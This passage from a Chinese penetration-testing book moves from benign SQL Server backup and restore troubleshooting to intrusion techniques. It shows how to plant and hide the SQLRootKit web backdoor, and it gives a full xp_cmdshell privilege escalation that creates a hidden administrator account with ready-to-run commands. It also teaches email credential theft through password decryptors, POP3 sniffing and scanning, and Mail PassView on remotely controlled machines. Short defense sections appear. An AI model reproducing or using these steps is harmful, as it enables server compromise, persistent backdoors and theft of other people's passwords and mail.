（6）Analysis Services的增强功能（SSAS）

Analysis Services引入了新的管理工具、集成开发环境及与.NET Framework的集成。许多新功能扩展了Analysis Services的数据挖掘和分析功能。

（7）Integration Services的增强功能

Integration Services引入了新的可扩展体系结构和新的设计器。这种设计器将作业流从数据流中分离出来，并提供了一套丰富的控制流语义。Integration Services还对包的管理和部署进行了改进，同时提供了多项新的打包任务和转换。

（8）复制增强

复制在可管理性、可用性、可编程性、移动性、可伸缩性和性能方面提供了改进。

（9）工具和实用工具增强功能

SQL Server 2005引入了管理和开发工具的集成套件，改进了对大规模SQL Server系统的易用性、可管理性和操作的支持。

SQL Server 2005与SQL Server 2000在使用细节上有很多不同，SQL Server 2000用户切换到SQL Server 2005后会感到其变化之大。的确，在使用上有多细节的变化，笔者仅列举几个。

操作方式不同：SQL Server 2005是通过SQL Server Management Studio管理数据库的，因此可以依次单击“开始”→“程序”→“Microsoft SQL Server 2005”→“SQL Server Management Studio”选项打开数据库管理综合控制台。

提供的服务增多：通过服务管理器可以看到，SQL Server 2005增加了很多服务，如SQL Server Directory Helper、SQL Server Browser、SQL Server Vss Writer和SQL Server Integration Services，如图3-85所示。

图3-85 SQL Server 2005增加的一些服务

管理控制台操作界面改动较大：SQL Server 2005将数据查询整合到一起，以前通过查询分析器进行的操作，现在直接整合在数据库管理中了，比以前方便、快捷。

其他改进：SQL Server 2005在功能上改进较多，需要用户自己体会。当然，微软每一次的改进都是以升级硬件为代价的，普通个人计算机运行SQL Server 2005，性能和速度会下降不少。如果是为了测试和体验，可以在安装完成后将与SQL Server 2005相关的所有服务都变成手动配置，在需要使用时启动即可。

有兴趣的读者朋友可以有针对性地去体验上面新增的9大功能和一些细节上的改变。在数据库操作中，非常重要的一个操作就是备份与还原。对于SQL Server 2000中的还原数据库，很多读者都是使用过，方法也非常简单，选择文件后进行强制还原，问题即可解决。然而，在SQL Server 2005中却不能这样操作。下面就介绍如何还原一个备份的SQL Server 2005数据库。

3.11.2 还原和备份SQL Server 2005数据库

备份数据库的理由很多，有的是为了防止出现意外，有的是开发需要，有的是入侵后将数据库还原打包，所有的备份的目的都是为了在需要的时候还原。恢复SQL Server 2005数据库的前提是在本机搭建了SQL Server 2005数据库平台，即安装了能够使用的SQL Server 2005数据库，且已经将备份文件放置在本地计算机中。下面讲解具体的恢复过程。

01 连接数据库引擎

第一次打开SQL Server Management Studio时，会自动弹出“连接到服务器”对话框，如图3-86所示，保持“服务器类型”、“服务器名称”及“身份验证”下拉列表的默认设置即可。

图3-86 连接服务器

如果已经打开SQL Server Management Studio，则可以依次单击菜单栏上的“文件”→“连接对象资源管理器”选项，打开“连接到服务器”对话框，然后单击“连接”按钮。连接成功后，将打开“SQL Server Management Studio ”控制台窗口，如图3-87所示。

图3-87 SQL Server Management Studio 控制台

02 还原数据库操作

在SQL Server Management Studio控制台窗口选中数据库或者系统数据库，然后单击右键，在弹出的快捷菜单中选择“还原数据库”选项，打开“还原数据库”窗口，如图3-88所示。在该窗口中，需要设定目标数据库。可以手工输入目标数据库的名称，也可以单击“目标数据库”下拉列表，从已存在的数据库中选择目标数据库。另外，需要指定用于还原的备份集和位置，主要有两个，一个是源数据库，另一个是源设备。如果是数据库在线还原，就选择“源数据库”选项；如果是从物理文件还原，则选择“源设备”选项。

图3-88 还原数据库设定

03 添加备份文件的位置

单击选中“源设备”单选按钮，然后单击文本框右边的“...”按钮，在弹出的“指定备份”对话框中添加备份的位置，如图3-89所示。

图3-89 指定备份位置

04 定位备份文件

在“指定备份”对话框中单击“添加”按钮，会弹出“定位备份文件”对话框。默认情况下，SQL Server 2005会直接定位到其安装目录下的“MSSQL.1/MSSQL/Backup”目录，如图3-90所示，默认显示“*.bak”和“*.trn”两种备份文件。

在本例中选择“所有文件”，就会显示该目录下的所有备份文件，如图3-91所示。然后，选择一个需要备份的文件即可，在本例中选择“uniport”数据库。

图3-90 定位备份文件

图3-91 选择要还原的备份数据库文件

技巧

可以将所有备份文件都复制到“C:\Program Files\Microsoft SQL Server\MSSQL.1\ MSSQL\Backup”目录下，这样选择起来比较方便。

单击“确定”按钮完成文件的选择，回到“指定备份”对话框，如图3-92所示，单击“确定”按钮完成备份文件的选择。

图3-92 完成备份文件的选择

05 完成“还原的目标”和“还原的源”的设定

如图3-93所示，在“还原数据库”窗口的列表中选择需要还原的文件，在“还原的目标”设置区输入“uniport”，表示还原后的数据库名称是“uniport”。单击“确定”按钮还原数据库，如图3-94所示。

图3-93 完成“还原的目标”和“还原的源”的设定

图3-94 还原数据库

06 对还原错误的处理

进行还原数据库操作时，我们可能会遇到即使按照上面的步骤也无法还原数据库的情况。如图3-95所示，该错误提示表示目录不存在，即在 E盘未建立相应的文件夹。

图3-95 还原数据库出现错误

解决方法很简单。按照“E:\Program Files\Microsoft SQL Server\MSSQL\Data”路径，分别在E盘根目录下建立“Program Files”文件夹，然后在“Program Files”文件夹下建立“Microsoft SQL Server”文件夹，在“Microsoft SQL Server”文件夹下建立“MSSQL”文件夹，在“MSSQL”文件夹下建立“Data”文件夹，如图3-96所示，然后按照前面的步骤重新选择，即可完成数据库的还原。在SQL Server 2005中，如果还原时出现如图3-95所示的错误，只要直接建立相应的文件夹便可解决，这对于体积较大的数据库（超过1GB）还原来说无疑是福音。

图3-96 建立相应的文件夹

笔者曾经探讨过如何在SQL Server 2000中恢复一些较难恢复的数据库，即只有一个备份的数据库，没有任何其他信息。当时笔者给出的解决方案是通过UE直接打开数据库文件，从中寻找数据库的详细路径，当数据库文件过大时，使用UE打开，计算机会宕机。这个问题在SQL Server 2005中得到了完美的解决，数据库会自动提示问题出现的位置。

3.11.3 SQL Server 2008数据库还原故障解决

当我们要查看一个大体积数据库的内容时，首先要恢复数据库。按照常规模式进行恢复，却弹出错误提示框。采用几种方法，包括从互联网上寻找他人的数据库还原故障解决方案，逐个进行测试，均未解决。笔者根据错误提示，大胆设想，终于成功恢复了数据，下面就将整个过程与读者分享。

1.常规数据库恢复方法

01 在SQL Server 2008企业管理器中新建名为“ChinaData”的数据库。

02 选择备份文件ChinaData.bak并进行恢复。恢复过程中出现错误提示框，如图3-97所示，没有错误号码，表示数据库恢复失败。对该数据库再次进行还原，并选择“强制还原”选项（即覆盖现有数据库），结果还是显示错误。

图3-97 数据库恢复错误提示

2.通过查询语句进行数据库恢复

通过百度搜索，获取3154错误的解决方法，其恢复过程会提示“备份集中的数据库备份与现有的数据库不同”，如图3-98所示。其解决方法如下。

图3-98 3154错误

01 获取数据库文件的data和log文件名

如果知道备份数据库的名称，可以跳过本步；如果不知道备份数据库的名称，可以先执行下面的语句。

 RESTORE FILELISTONLY From disk = 'F:\路径\css_cms1'  --备份数据库文件路径名

执行该查询后，可以列出该文件的data和log文件名。

02 在知道数据库名称的情况下进行恢复

如果知道备份数据库的名称，就可以创建一个与之同名的数据库，然后使用以下语句进行还原。例如，该数据库的data文件是XXX_Data，log文件是XXX_log，那么就创建XXX数据库，然后执行如下SQL语句。

use master
restore database CSS_CMS from disk = 'F:\xx路径\file'--备份的数据库文件路径名
with replace, MOVE N'XXX_Data'
TO N'F:\要保存的路径\Data\XXX.mdf',
 MOVE N'XXX_log' TO
N'F:\要保存的路径\Data\XXX.ldf'

一般情况下，通过以上方法就可以恢复，但在本例中，经过测试，该方法行不通。

3.再次分析失败原因，对数据库进行恢复

一般情况下，数据库无法恢复通常是以下3种情况。

（1）登录用户没有权限

还原数据库时会显示错误信息：“无法在服务器上访问指定的路径或文件。请确保您具有必需的安全权限且该路径或文件存在。如果您确定所用服务账户可以访问特定的文件，请在‘定位’对话框的‘文件名’控件中键入该文件的完整路径。”其解决方法是使用一个有权限的用户登录，例如sa用户。还有一种情况就是在服务管理器中查看SQL Server服务的用户权限，有些是system权限，有些是当前登录用户授权。通过修改服务的权限，可以解决某些情况下登录用户没有权限的问题。

（2）还原路径不存在

对这种错误，需要手动修改路径，只要路径确实存在，就可以解决。

（3）还原路径文件有重名

这种错误出现的原因是还原的文件恰好在默认位置有同名文件，无法覆盖。

笔者对以上3个可能出现的问题进行了测试和修正，还是没有解决问题，于是只好查看SQL Server 2008的日志文件，如图3-99 所示，但仍然没有找到解决的办法。

图3-99 查看日志文件

再次对数据库进行还原，发现原始文件名在“将数据库文件还原为”列表中全部为同一个名称，怀疑是文件名称不一致，如图3-100所示。

图3-100 原始文件名与还原名称一致性问题

依次按照原始文件名，在还原中将chinadata. mdf和chinadata.ndf进行对应。例如，原始文件名为“ChinaData_9”，则应在还原中修改为“chinadata_9.mdf”和“chinadata_9.ndf”进行对应。然后，单击“还原”按钮，问题解决了！该问题属于原始文件名与还原名称的一致性问题。通过解决该问题，我们掌握了解决SQL Server 2008数据库还原错误的方法。

3.12 SQLRootKit网页数据库后门控制

通过本节，读者可以了解网页数据库后门SQLRootKit的相关知识，以及如何使用SQLRootKit 1.0、SQLRootKit 3.0数据库后门来控制计算机。

SQLRootKit是一种网页脚本，用于执行数据库命令，使用前提是知道数据库的账号和密码。SQLRootKit目前有两种：一种是针对PHP语言的，其针对的数据库为MySQL；另外一种是针对ASP语言的，主要针对的数据库为SQL Server，ASP版本的SQLRootKit有两个版本，即1.0版和改进后的3.0版。

3.12.1 使用SQLRootKit 1.0网页后门控制计算机

在获取网站的数据库的类型、数据库用户密码和用户名后，直接将SQLRootKit.asp文件上传到网站目录中，然后在浏览器地址栏中输入地址并打开网站。打开网站后，在分别在“SQL用户名”和“SQL密码”文本框中输入获取的SQL用户名“sa”和密码“***”，然后在“执行命令”按钮前的文本框中输入需要执行的命令，如“net user”，查看系统中的所有用户。输入完毕，单击“执行命令”按钮，会在该网页中显示执行结果，如图3-101所示。

说明

（1）目前很多杀毒软件都会对SQLRootKit 1.0网页木马进行查杀，因此在使用前最好用一些网页加密软件对其进行加密。

（2）SQLRootKit 1.0只能利用本地的SQL Server数据库来执行命令，如果数据库服务器和Web服务器不在同一台计算机上，SQLRootKit 1.0就无能为力了。

（3）经过加密的SQLRootKit 1.0网页木马，其WebShell相当于一个DOSShell。如果未在数据库服务器中删除一些比较危险的dll组件，则该后门可以长期存在。

图3-101 在SQLRootKit 1.0中执行命令

3.12.2 使用SQLRootKit 3.0网页后门控制计算机

使用SQLRootKit 3.0网页后门控制计算机的步骤如下。

01 运行测试

运行SQLRootKit 3.0网页后门程序，将SQLRootKit 3.0网页后门直接上传到网站目录，然后在浏览器中输入其对应地址即可，运行界面如图3-102所示。

图3-102 运行SQLRootKit 3.0网页后门

说明

（1）在SQLRootKit 3.0网页后门中，需要输入“SQL用户名”、“SQL密码”、“SQL服务器”及“SQL端口”等信息，程序默认SQL Server服务器与Web服务器在同一台计算机上。

（2）输入“SQL用户名”、“SQL密码”、“SQL服务器”及“SQL端口”信息，通过验证才能进行后续操作。

02 登录SQLRootKit 3.0网页后门

输入“SQL用户名”和相应的“SQL密码”密码后，单击“Login”按钮，验证正确后进入SQLRootKit 3.0网页后门管理界面，如图3-103所示。

图3-103 进入SQLRootKit 3.0网页后门管理界面

03 检测组件

单击“检测组件”按钮，程序会自动检测服务器上是否存在XP_cmdshell、sp_oacreate、xp_regwrite及xp_servicecontrol这4个SQL组件，检测操作系统版本及执行权限等信息，并将这些信息显示在该页面上，如图3-104所示。

说明

如果检测出来的组件被系统管理员删除了，则可以单击“恢复组件”按钮进行恢复。

04 执行命令

在“系统命令”文本框中输入需要执行的命令，并选择运行程序的相应组件。在本例中选择“利用XP_cmdshell扩展”选项，并在“系统命令”文本框中输入“net user”命令，然后单击“执行”按钮，其结果会显示在网页中，如图3-105所示。XP_cmdshell扩展命令在执行过程中可能会显示一些错误信息，我们可以忽略这些信息。

图3-104 检测SQL组件

图3-105 执行命令

05 上传文件

在SQLRootKit 3.0网页后门中提供了文件上传功能，即在内容文本框中粘贴需要上传的文件的内容，在文件路径中输入需要保存的文件的物理路径。输入完毕，单击“保存”按钮即完成上传。

3.12.3 防范措施

对于SQLRootKit 3.0网页后门来讲，其主要防范措施如下。

勤杀毒。目前很多杀毒软件都能自动识别并查杀网页后门程序，因此，要及时升级杀毒软件病毒库并开启杀毒软件的所有监管选项。

首次完成网站建设后，要保存网站所有文件的列表。例如，可以在DOS下输入“dir d:\网站目录\*.* >mywebsite20071218.txt”命令，将网站的所有文件信息生成列表文件mywebsite20071218.txt。每次升级后都要重新次生成文件列表，每次维护时只要查看文件大小的变化即可。

使用一些网站监控软件进行实时监控。目前，国外和国内都有一些网站文件监控软件，一旦发现网站文件被改动，这些监控软件就会通过发送邮件或者手机短信等方式及时报警，方便管理员进行处理。

3.12.4 小结

本案例介绍了如何利用SQLRootKit 1.0及SQLRootKit 3.0网页后门来控制计算机。在很多情况下，一般的网页后门程序或者网页木马无法在服务器上执行命令。如果服务器上存在SQL Server服务器，入侵者在获取数据库用户和账号的情况下可以使用本案例介绍的方法来提权或者留下后门，以便守控肉机。

3.13 SQL Server 2005提权

SQL Server 2005及SQL Server 2008都将“xp_cmdshell”等危险存储过程删除了，但这并不影响提权。只要获取了sa口令，重新添加存储过程，即可像MSSQL 2000 Server一样提权。SQL Server 2005提权的思路很简单，需要获取数据库的用户名和密码，然后通过恢复存储过程执行命令，下面是详细的提权过程。

3.13.1 查看数据库连接文件

通过WebShell查看网站的源代码，如图3-106所示，通过分析首页文件default.asp，获知数据库连接文件为openconnection.asp。

技巧

数据库连接文件的名称一般为conn.asp、openconnectiong.asp、connection.asp，这些文件多位于网站根目录或者“includes”等文件夹下，通过查看首页代码大都能准确找到数据库连接文件。

图3-106 分析首页文件

3.13.2 获取数据库用户和密码

找到数据库连接文件openconnection.asp，将其下载到本地并打开，如图3-107所示，知道数据库用户为“sa”，密码为“Tp*****234 ”，将其复制出来留待后面使用。

图3-107 获取数据库用户和密码

3.13.3 数据库连接设置

在连接SQL Server 2005之前，需要对数据库进行设置，需要知道sa用户的密码和数据库，默认采用master数据库。在“ConnString”输入框中修改相应的设置，主要是在数据库类型中选择相对应的数据库类型，在WebShell中单击“Database”，如图3-108所示，设置完毕后单击“Go”按钮进行数据库连接测试。

图3-108 设置MSSQL连接

3.13.4 查看连接信息

如果数据库用户名、密码及数据库名称均设置正确，连接成功后会显示相应的信息。例如，“MSSQL Version : Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6001: Service Pack 1)及“SrvRoleMember : sa”，表明数据库版本为“icrosoft SQL Server 2005 -9.00.4035.00”，数据库用户角色是“sa”，如图3-109所示。

图3-109 获取数据库基本信息

3.13.5 添加xp_cmdshell存储过程

可以直接在“Run SQL”输入框中输入“Exec sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;”脚本添加xp_cmdshell存储过程，也可以通过WebShell进行。在“SQLExec”下拉列表中选择第3个命令选项“Add xp_cmdshell(SQL2005)”，如图3-110所示。

图3-110 添加xp_cmdshell存储过程

3.13.6 Windows本地提权

01 添加用户

在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”，修改其添加用户命令，即“Exec master.dbo.xp_cmdshell 'net user temp Wantian365.com!* /add '”，将添加用户“temp”，密码为“Wantian365.com!*”，如图3 111所示，单击“Query- ”按钮添加用户。

图3-111 添加用户

02 将普通用户添加到管理员组

在“SQLExec”下拉列表中继续选择“XP_cmdshell exec”选项，然后将temp用户添加到管理员组，即运行命令“Exec master.dbo.xp_cmdshell 'net localgroup administrators temp /add '”，添加成功后如图3-112所示。

图3-112 添加temp用户为管理员

03 通过“XP_cmdshell exec”命令查看系统用户

在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”，如图3-113所示，单击“Query”按钮查询系统用户。如图3-114所示，temp用户已经添加到系统中。

图3-113 查看用户

图3-114 查看系统用户

04 登录远程终端

打开远程终端连接登录，输入IP地址及刚才添加的用户名和密码，如图3-115所示，成功进入服务器，其操作系统为Windows 2008 Server。

图3-115 成功进入服务器

3.13.7 小结

通过sa权限在SQL Server 2005中提权相对比较简单，这也是将WebShell权限提权到系统级别的一种思路。另外，通过数据库备份，将批处理命令备份到启动文件夹下，系统重启后就会自动执行批处理命令，也能达到提权的效果。

第4章

电子邮件密码的获取与破解

目前有一种漏洞是通过渗透邮箱密码，在电子邮件中获取CMS系统密码和账号等敏感信息，进而利用这些信息渗透内部网络。对邮箱和邮件服务器的渗透是渗透中最有价值的，也是相对最难的。对公司系统而言，很多个人邮箱中都会保存公司无线网络、各种CMS系统的账号和密码、服务器管理员账号和密码，在运营人员的邮箱中可能还有整个网络的配置信息等。获取这些人员的邮箱密码，对渗透整个网络而言无疑是如虎添翼！

本章着重介绍邮箱密码的获取及渗透利用，包括如何获取Foxmail邮件，如何扫描POP3口令，如何使用工具软件直接获取本地保存的邮件账号和密码，最后还对电子邮件社会工程学攻击进行了探讨。

本章主要内容

Foxmail 6.0密码获取与嗅探

使用Hscan扫描POP3口令

使用Mail PassView获取邮箱账号和口令

使用MailBag Assistant获取邮件内容

电子邮件社会工程学攻击和防范

使用IE PassView获取网页及邮箱密码

Chrome浏览器存储密码获取技术及防范

使用EmailCrack破解邮箱口令

4.1 Foxmail 6.0密码获取与嗅探

Foxmail 5.0邮件账号和密码的获取相对较简单，只要通过星号密码查看器即可查看保存在Foxmail软件中的用户密码，此外还有其他破解方式。但是，在Foxmail 6.0及之后的版本中，使用以上方法就无法获取其用户密码了。

那么，到底应该如何获取Foxmail 6.0及之后版本的账号和密码呢？通过研究，笔者发现至少有两种方法可以获取其账号和密码。一种方法是使用“月影”软件直接获取其密码，另外一种方法是使用Cain等嗅探工具配合Foxmail 6.0获取，下面详细介绍。

4.1.1 使用“月影”软件获取Foxmail 6.0密码及邮件资料

使用“月影”软件获取Foxmail 6.0密码及邮件资料的步骤如下。

01 获取邮件账号密码

运行月影Foxmail邮件转换/密码恢复器，选择Foxmail中需要破解的账号的Account.stg文件所在目录。选择完毕，会自动显示该邮件账号的相关信息，包括密码、POP3等，如图4-1所示。

02 获取邮件资料

在月影Foxmail邮件转换/密码恢复器主界面单击“Foxmail邮箱所在目录”设置框右边的浏览按钮，选择Foxmail邮箱所在目录，该目录是邮件账号的特定目录，即“mail”目录下的某个账号，如“someone@somemail.com”。选择正确后，会在该目录的*.box文件列表中显示邮箱，如图4-2所示。选择一个转换后的文件存储目录，单击“开始转换，并生成邮件列表”按钮，将邮件导出到本地目录。访问该目录，打开转换后的*.eml文件即可获得邮件资料。

图4-1 获取Foxmail邮件密码

图4-2 转换邮件到本地

03 验证邮件账号及密码

在浏览器中打开Web邮件登录地址，输入用户名和密码，成功进入该邮件账号。可以看到，该账号有589封邮件，如图4-3所示。

图4-3 验证邮件账号及密码

4.1.2 使用Cain软件获取Foxmail账号和密码

使用Cain软件获取Foxmail账号和密码的步骤如下。

01 安装并设置Cain软件

在本机安装Cain软件，安装完毕后需要安装WinPcap软件。运行Cain软件，然后单击菜单中的“Configure”选项，打开“Configuration Dialog”窗口，如图4-4所示，将“Options”设置区下的4个复选框全部选中，单击“确定”按钮完成设置。然后，在菜单中单击“Start sniffer”命令，开始监听。

图4-4 设置Cain软件

02 运行Foxmail 6.0软件获取邮件账号及密码

直接运行Foxmail 6.0软件，然后单击Foxmail中的“收取”按钮收取邮件，当Foxmail软件开始接收邮件时，单击“收取邮件”对话框中的“取消”按钮，取消邮件接收，如图4-5所示。

图4-5 收取邮件

在Cain中单击“Sniffer”标签页，在左侧列表中选择“POP3”选项，如图4-6所示，可以看到本地计算机上被监听的所有邮件账号和密码。

图4-6 查看被监听的邮件账号和密码

4.1.3 小结

在本次破解中，笔者先从网上搜集Foxmail账号破解方面的知识，然后通过不断搜索和整理，发现可用于破解邮件账号及密码的方法和工具。

Foxmail 6.0及以上版本改进了算法，修补了之前在密码保存方面的缺陷，破解时无法再通过星号密码查看器查看保存在软件中的密码了。但是，其密码在发送到POP3服务器进行验证的过程中仍然是明文，这就决定了邮件账号的安全问题没有得到实质上的解决，通过Cain等嗅探软件可以轻松获取经过该计算机的所有账号资料。

在网络攻防过程中，思维或者思路决定了最终的结果，思路一换天地宽。但这一切的前提条件就是基础，即要有扎实的理论和实践基础。

4.2 使用Hscan扫描POP3口令

现在，很多邮箱服务器都支持POP3功能，通过POP3收取信件，收取信件时仅仅需要提供用户名和密码。目前有很多工具可以扫描POP3邮件的账号和口令，本例就通过Hscan扫描POP3账号进行攻击，获取POP3的账号和口令后，可以查看和发送邮件，并利用社会工程学发送木马邮件等进行攻击。本例只讲解如何扫描POP3口令，有关社会工程学攻击的案例放在后面的章节讲解。

4.2.1 设置Hscan

在Hscan中分别设置起始和结束扫描POP3的IP地址，然后在扫描参数中选择扫描模块，设置完毕后，单击“menu”菜单中的“start”命令开始扫描。

4.2.2 查看扫描结果

扫描结束后，直接打开Hscan.log文件，在其中搜索“pop3scan”，找到结果后，记下账号、口令及对应的IP地址，如图4-7所示。

图4-7 查看POP3扫描结果

4.2.3 登录Webmail邮件服务器

在IE浏览器中输入上面的IP地址并打开网页，进入Webmail登录界面，输入用户名和密码，如图4-8所示。

技巧

扫描POP3账号和口令后，在浏览器中输入的IP地址有可能无法打开网页，这时可以借助Google等搜索引擎进行搜索，有时能够直接搜索出该IP地址所在的邮件服务器地址。

图4-8 登录Webmail邮件服务器

4.2.4 查看邮件

登录成功后，可以进行所有操作，包括查看邮件及发送邮件等，如图4-9所示。

图4-9 查看邮件

4.2.5 口令扫描安全解决方案

对于口令扫描的安全防范措施主要从以下几个方面来考虑。

设置强大的口令。口令中包含大小写字母、数字、特殊字符，口令位数不能低于8位。

安装防火墙软件。防火墙软件能够有效防范各种攻击扫描。

对于数据库服务器，建议采取信任网络连接，仅允许信任的IP地址访问数据库服务器，且在安全策略中设置端口过滤，采取最小端口开放原则。

定期执行安全检查。定期检查系统，查看系统中是否存在一些可疑的新文件，查看系统的各种日志文件，并给出相应的安全处理措施。

4.2.6 小结

本例主要利用Hscan扫描POP3账号和口令。在扫描POP3账号和口令时，只要知道用户账号，结合字典扫描出口令概率还是挺高的。扫描出账号和对应的口令后，使用它们进行登录。登录邮件服务器后，可以进行查看邮件、发送邮件及获取该账号的所有邮件内容等操作。如果这些邮件是办公邮件，那么从安全的角度来讲，容易造成邮件内容泄露，再配合社会工程学实施攻击，危害相当大。

4.3 使用Mail PassView获取邮箱账号和口令

随着网络技术的发展，电子邮件已经成为人们生活中一个重要的组成部分，日常联系和工作中的许多事情都是通过Email进行信息交换的，因此，在个人电子邮箱中极有可能保存着一些重要的信息——只要拥有邮箱账号和口令，在世界上任何一个地方，只要能够上网，均能获取该电子邮箱账号的邮件。

本案例使用Mail PassView在两种模式下获取邮件账号和密码。Mail PassView的下载地址为http://www.nirsoft.net/utils/mailpv.html。Mail PassView的最新版本为1.8.5，目前支持Outlook 2016的口令获取。

4.3.1 通过Radmin远程获取邮箱账号和密码

通过Radmin的文件传输功能将Mail PassView上传到安装有Radmin服务端的计算机上，然后选择Radmin的完全控制功能，进入完全控制模式。运行Mail PassView，其结果如图4-10所示，可以很清楚地看到“Name”、“Email”、“Server”、“User”、“Password”等关于电子邮件的详细信息。

图4-10 通过Radmin获取邮箱账号和口令

4.3.2 通过远程终端获取邮箱账号和密码

登录远程终端的桌面以后，通过VBS脚本或者远程控制软件将Mail PassView上传到远程终端，然后运行Mail PassView，即可获取系统中存在的邮箱账号和口令，如图4-11所示。

图4-11 通过远程终端获取邮箱账号和口令

说明

（1）可以直接通过Mail PassView将获取的邮箱账号和密码保存为一个文件。选中所有记录，依次选择“File”→“Save Selected Item”选项，将所有信息保存为一个TXT文件。保存完毕后可以很方便地查看“Name”、“Email”、“Server”、“User”、“Password”等关于电子邮件的详细信息。

（2）Mail PassView需要在图形界面下执行，不能在DOS或者反弹的Shell中执行。

4.4 使用Mailbag Assistant获取邮件内容

拿到邮件文件后，通过一些软件工具可以轻松获得邮件的内容。从安全的角度，本节的研究有两个方面的意义：第一是安全取证，从获取的邮件文件中提取有助于判断嫌疑人是否有罪的证据；第二是方便失去密码的用户获取邮件内容（当然，其反面就是满足一些有窥视欲望的人查看他人的邮件内容）。

当我们获取一个邮件文件后，可以对其进行恢复内容操作，下面将详细介绍，最后会给出防止非授权用户查看邮件内容的防范措施。

4.4.1 恢复邮件内容的一些尝试

我们先尝试恢复一个邮件文件的内容。

1.重建Outlook Express

安装Outlook Express，将获取的文件直接覆盖原来的文件，结果由于语言版本或者配置等原因，根本无法打开。Outlook Express邮件文件一般位于以下目录。

C:\Documents and Settings\simeon\Local Settings\Application Data\Identities

C:\Documents and Settings\simeon\Local Settings\Application Data\Identities\{A17F510D- 109E-4006-B460-73E3EB971094}

C:\Documents and Settings\simeon\Local Settings\Application Data\Identities\{A17F510D- 109E-4006-B460-73E3EB971094}\Microsoft\Outlook Express

注意

（1）在覆盖原有文件前，一定要对其进行备份，或者直接复制原有文件到一个新文件夹中，防止在覆盖文件后对原有系统造成破坏。

（2）以上目录中，“simeon”为计算机用户名，计算机用户应该与该用户名一致。如果用户名为“Administrator”，则文件对应位置应该为“C:\Documents and Settings\Administrator\Application Data\Identities\{4424572C-E99E-4523-B33D-A0AB0C29E874}”。

2.使用Outlook Express导入文件进行恢复

打开Outlook Express程序，依次单击“文件”→“导入”→“邮件”选项，在“Outlook Express导入”窗口选择要导入电子邮件程序的来源，如图4-12所示，选择“Microsoft Outlook Express 6”选项，然后单击“下一步”按钮。

图4-12 选择要导入电子邮件的来源

说明

Outlook Express是默认安装在系统中的，如果程序菜单中没有Outlook Express，可以到C:\Program Files\Outlook Express目录下运行可执行文件msimn.exe进行启动。

然后，选择邮件文件的路径，如图4-13所示，选择完成后单击“确定”按钮。

图4-13 选择邮件文件的路径

这时出现了一个错误警告，如图4-14所示，说明Outlook Express不能识别这些文件。安装Outlook的最新版本，重新导入文件，仍然失败。

图4-14 导入文件失败

分析原因，可能是语言版本的问题。既然此方法行不通，那就换一种思路，到网上搜索，看看有没有能够直接恢复邮件的软件。通过查询，发现获取邮件内容的软件网上有很多，通过测试和分析，感觉Mailbag Assistant不错。

4.4.2 使用Mailbag Assistant恢复邮件内容

下面介绍Mailbag Assistant的相关内容。

1.Mailbag Assistant简介

Mailbag Assistant的最新版本是4.01，可以到http://www.onlinedown.net/softdown/ 5604_2.htm下载。它可以打开Eudora、Netscape Messenger、Outlook Express 4、Pegasus、The Bat！、FoxMail、Calypso及Agent等软件的邮件文件。打开邮件之后，还可以按照寄件人、收件人、标题、日期等条目排列邮件，是一个很好用的电子邮件管理软件。另外，虽然Mailbag Assistant的说明中并没有提到可以打开Outlook Express 5的邮件文件，但是笔者试用后发现Mailbag Assistant可以打开此类文件。

2.安装与设置Mailbag Assistant

将Mailbag Assistant下载到本地直接运行，安装过程非常简单，按照提示进行即可。安装完成后运行Mailbag Assistant，会弹出向导要求用户进行设置，如图4-15所示，可以取消设置，也可以根据提示进行设置。

在本例中，直接打开Mailbox Assistant，如图4-16所示，选择邮件所在文件夹，可以看到一共有9个文件，可以选择一个或者多个文件然后打开。

图4-15 设置Mailbag Assistant

图4-16 选中邮件文件

说明

（1）Mailbag Assistant默认有31天免费使用期。

（2）由于使用了繁体中文版的软件，所以在“Mail”文件夹中一些文件名显示为乱码。

3.获取邮件内容

如果邮件文件没有损坏，则可以在Mailbag Assistant主窗口看到邮件的内容，其中包含邮件发送时间、发送者、邮件地址、主题、附件、文件名称等信息，如图4-17所示。单击选中第1条记录，Mailbag Assistant主窗口下方会显示邮件的内容。在本案例中，可以看到邮件中包含用户的一条密码信息。

图4-17 显示邮件内容

4.导出邮件附件

在主窗口中选中有附件标识的邮件记录，单击鼠标右键，在弹出的快捷菜单中选择“Extract Attachments…”选项，如图4-18所示，然后选择一个导出的目标文件夹。

图4-18 选择导出的目标文件夹

如果没有什么意外，就会出现一个导出信息对话框，如图4-19所示，表示有3个附件导出成功。

图4-19 附件导出成功提示信息

5.导出所有邮件

选中当前窗口中的所有邮件，依次选择“File”→“Export E-mail As”→“EML Files”选项，将邮件导出为 *.eml文件，如图4-20和图4-21所示。这些文件可以直接使用Outlook Express打开，或者直接导入Outlook Express等邮件查看软件中使用。

说明

在Mailbag Assistant中还可以将邮件导出为MailBox文件。

图4-20 导出邮件文件

图4-21 成功导出的邮件

4.4.3 邮件内容防查看措施

对于邮件内容的防范措施，首先是加强个人计算机的安全措施，对一些涉及个人敏感信息的邮件妥善处理，如另外存为加密文件。对一些账号开通等信息，应及时修改密码及个人资料，以防止入侵者或者他人在获取邮件内容后对这些信息进行利用。

4.4.4 小结

通过本次实践，我们了解了Outlook Express邮件文件保存的物理位置，知道了应该如何恢复或者获取邮件内容。对一些设置了保护邮件内容密码的用户而言，当忘记密码后，这不失为一种解决方案。本节的案例也可以作为社会工程学攻击的一个辅助技术手段。通过阅读本节内容，普通计算机用户应该更加重视网络和信息安全，从意识上加强安全防范，从行动上落实安全措施。

4.5 电子邮件社会工程学攻击和防范

社会工程学是信息网络安全的一个新的分支，其主要特点是利用人的弱点进行攻击。在正面渗透越来越困难的情况下，黑客越来越多地借助社会工程学，包括国内出现的密码“泄露门”，以及安全界比较著名的APT攻击，都是典型的利用社会工程学进行攻击的案例。这种攻击危害巨大，效果显著。

本节从社会工程学攻击的现状出发，详细研究电子邮件社会工程学攻击的应用手段和方式，并在此基础上对电子邮件社会工程学攻击的防范措施进行研究和探讨，希望通过这些安全防范措施降低被成功攻击的概率。

